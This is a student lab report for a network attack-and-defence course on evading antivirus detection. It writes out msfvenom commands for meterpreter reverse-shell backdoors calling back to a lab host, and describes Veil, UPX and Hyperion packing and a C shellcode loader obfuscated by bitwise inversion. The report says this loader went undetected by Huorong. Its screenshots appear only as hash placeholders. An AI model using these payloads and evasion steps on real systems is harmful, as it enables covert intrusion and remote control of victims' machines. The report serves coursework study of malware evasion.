20232305 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

问题回答:
(1)杀软是如何检测出恶意代码的?
通过检测文件的特征性代码,或者基于代码的行为检测
(2)免杀是做什么?
通过技术手段伪装恶意代码,使恶意代码能够逃过病毒查杀软件的查杀
(3)免杀的基本方法有哪些?
混淆代码,让恶意代码的特征代码不那么明显,或者在恶意代码启动后不立刻执行恶意操作,而是伪装的像正常代码一样,规避短期的病毒查杀。

2.实验过程

2.1使用msf编码器生成jar文件,并在virustotal网站下检测。
使用msf编码器生成jar文件
输入指令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=9999 -f jar > 20232305.jar
7aa0e7071d5fd2d2ed83f0d50d5e9569
在virustotal下进行检测
49d68b5c27af19f721e9270add57e3ad

2.2使用msf编码器生成其他类型的文件
(1)生成exe可执行文件
输入指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=9999 -f exe > 20232305.exe
d9951442cae71cd61ecdc12242952f8c
在virustotal下检测
e304eecb5218c036b29506233f7232a6
可见效果并不是很好,可以被大多数厂商检测出来,然后尝试多次编码
输入指令:msfvenom -p windows/meterpreter/reverse_tcp -e /x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.110.130 LPORT=9999 -f exe > 20232305.exe
其中-p windows/meterpreter/reverse_tcp指的是payload类型,这里是windows下反向tcp链接;-e /x86/shikata_ga_nai指的是使用Shikata Ga Nai编码器对Payload进行混淆,增加免杀能力;-i 24指的是指定编码器的迭代次数为24次;-b ‘\x00’是指定要避免的字符,这里是避免空字符\x00,以防止在传输过程中被误解释。
7edd3be0ff74c17ce5e7d7ad74162fc3
再次送入virustotal检测
d65d803043c500d8858ccb87ea4be208
也没有很好的改善。
(2)生成.php文件
输入指令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=9999 x > 20232305.php
f6a2802cd758d04915ed22e2285b91ca
进行检测
340eba539458d8a751525b86358484f9
(3)生成.py文件
输入指令:msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=9999 -f py > 20232305.py
de4a65c23c73ea269aeb457f9e532ad9
进行检测
c0e27967e1d531774eeae8d1cb757d86
(4)生成.apk文件
输入指令: msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=9999 x > 20232305.apk
73cf33157755e6cda06a39ddd8f7e259
进行检测
5c141d9977b5ff747fb3b97e4c851c7b

2.2使用Veil生成后门程序
(1)依次输入下面指令,下载veil
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install wine32
veil
59b75ff6d2d788da87b4401bd7decdb0
8ed08205a6362fc107ca4da03985be65
febb237f700352c3c741af1261a191e4
f2ad5596b01a9a269e8459c9fef0e357
c9941be110e5f2c710a4e3bcbbd06598
c6746a2684ff8682fa07413dd7143d03
可见成功安装。

(2)使用veil生成后门程序
然后先输入list,可见有两个选项,输入use evasion,进入evasion模块
d87caf3222bc63a37271a2231f109371
可见有41个payload可以使用,输入list进入详细页面
0508747f09d1cf32f5340d77d97a5dc9
6e68f57dc1b71f6f8a400b8eddad3735
输入use 7,选择载荷c/meterpreter/rev_tcp.py后,输入set LHOST 192.168.110.130和set LPORT 9999,分别设置好主机地址和端口。然后输入generate生成20232305.exe文件
5b21f87cf9e10dc2b3f8ee01e0d4e140
d9d70eb79cfe05b9a19ff4698150e8ab

接着在/var/lib/veil/output/compiled下找到20232305.exe文件,进行检测
d1f588ea6864ca9fd1bc251c558b555d

2.3通过加壳尝试实现免杀
先尝试压缩加壳,输入指令:upx 20232305.exe -o 20232305_upx.exe
a04e898c107a8acaf3a2778604d98dc8
然后进行检测
beb326ed46c7bbcd302b9019d7a3976f
可见有一定效果,但不多。

然后尝试加密加壳
输入指令cp 20232305.exe /usr/share/windows-resources/hyperion复制需要加壳的文件到/usr/share/windows-resources/hyperion;再输入cd /usr/share/windows-resources/hyperion进入文件夹。
输入指令wine hyperion.exe -v 20232305.exe 20232305_hyperion.exe对文件进行加密加壳
6509c03b1682432b1bbcb12f8812daf2
然后在/usr/share/windows-resources/hyperion找到20232305_hyperion.exe文件,进行检测

24ca683027f4fd84d973d9aa29d0c0e3
可见效果也不是很好

2.4尝试通过C+shellcode实现免杀
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=9999 -f c制作一个shellcode
15dcfccacace207074350030189381cb
然后创建一个文件20232305.c,并将shellcode放进去:
408c18031029a0c46ac44641e6185edb

编译文件并将得到的文件上传进行检测
5577af74875bf1521da66131ec1b5604
47c83bdf655121b85fedb773d9a564c6
可见效果还不错。

2.5通过使用组合技术尝试实现免杀
(1)多次编码并压缩加壳
输入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.130.110 LPORT=9999 -f exe > 20232305_10.exe,获得编码十次的文件,然后输入upx 20232305_10.exe -o 20232305_10_upx.exe,进行压缩加壳。
进行检测:
f0ad0aa486654d3ff7a83c845bbf0350
可见效果不是很好

(2)C+shellcode编码并按位取反
新建文件20232305fan.c文件,将刚才生成的shellcode编码放进去,并编写按位取反并输出到20232305shellcode.txt文件的函数,进行编译
c8a1ed9839dcaf7535d64e55f95fbdcc
3c752e69d395c4044d49a44306fabd28
得到的取反后的文件如下
d1c88943809607824e58b87bd5eb33f9

然后将获得的取反的编码替换掉先前创建的shellcode编码,再进行编译

556461b6d4b0289ae2be5e083cb304b5
a7954ac978022510fd2d6c0cc0e9dacf
进行检测
e007d349c862a01e5db513921ef83456
可见效果很好。
然后使用火绒查杀本次实验生成的所有后门文件,其中只有20232305.py,20232305.apk,20232305.php能够不被windows自带的病毒防护直接查杀(虽然告诉有威胁,但不会直接删除,其他的文件会直接被删除),而我在下载火绒时候,20232305.php文件也被直接删除,因此只能查杀20232305.py和20232305.apk文件,得到结果如下
d86a2c6403f89f534f1a7461ae3de227
可见虽然能够存活,但是并不能不被发现,但是最后通过取反获得的文件,哪怕使用火绒进行查杀也查杀不出来。

2.3尝试回连
(1)尝试使用shellcod_launcher进行回连
输入指令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.110.130 LPORT=9999 -f raw >20232305.raw,生成.raw文件
使用的查杀软件是火绒,电脑版本是Windows11
6375eebdb2718e84aa43bd2e2dee26be
1be209a6ddd8cdcc36ed6088cf0172af

然后下载shellcode_launcher,发现在下载的时候火绒就会直接将其中的文件shellcode_launcher删除,然后尝试关闭火绒再进行回连,发现依然无法监听到,也无法回连。

(2)尝试生成py文件进行回连
输入msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=2305 -f raw > 20232305.py生成.py文件,然后在Windows下输入py -m PyInstaller -Fw --hidden-import=getpass --hidden-import=code--hidden-import=platform--hidden-import=shlex 20232305.py进行打包生成.exe文件
c81b9699dcad16ac8c417bd3ab7709b6
7f5c8fcb89fbb3ff0c755e29b01867ce

22acf02786d61628691e082bdcbe46e4
在kali上监听并双击启动生成的.exe文件
cf0146c77bdf526357b3b5f8406f8912
依旧无法回连
但是在终端输入python 20232305.py,就能够成功回连
98ed8ca7af4bd48590d2b5aaaec7a3b9

3.问题及解决方案

  • 问题1:在使用wine hyperion.exe -v 20232305.exe 20232305_hyperion.exe时,看错了生成的恶意代码的文件夹,选择了源文件,导致检测的时候直接是0/71,我还以为直接免杀成功,后来找到正确的文件就解决了这个问题。

4.学习感悟、思考等

这次实验让我感受到了工具的便捷性,只需要输入几段指令,就可以很轻松地生成恶意代码文件,而且有的还很有效。像我这样对底层代码知之甚少的小白都可以很轻松地通过工具生成恶意代码回连。而且有些恶意代码在以前的版本就能够成功运行,现在就不行,更让我感受到了道高一尺魔高一丈的感觉。

参考资料

https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x23_MAL_免杀原理与实践.md#35-c语言调用shellcode

posted @ 2025-10-27 20:29  为了你不敢懈怠  阅读(0)  评论(0)    收藏  举报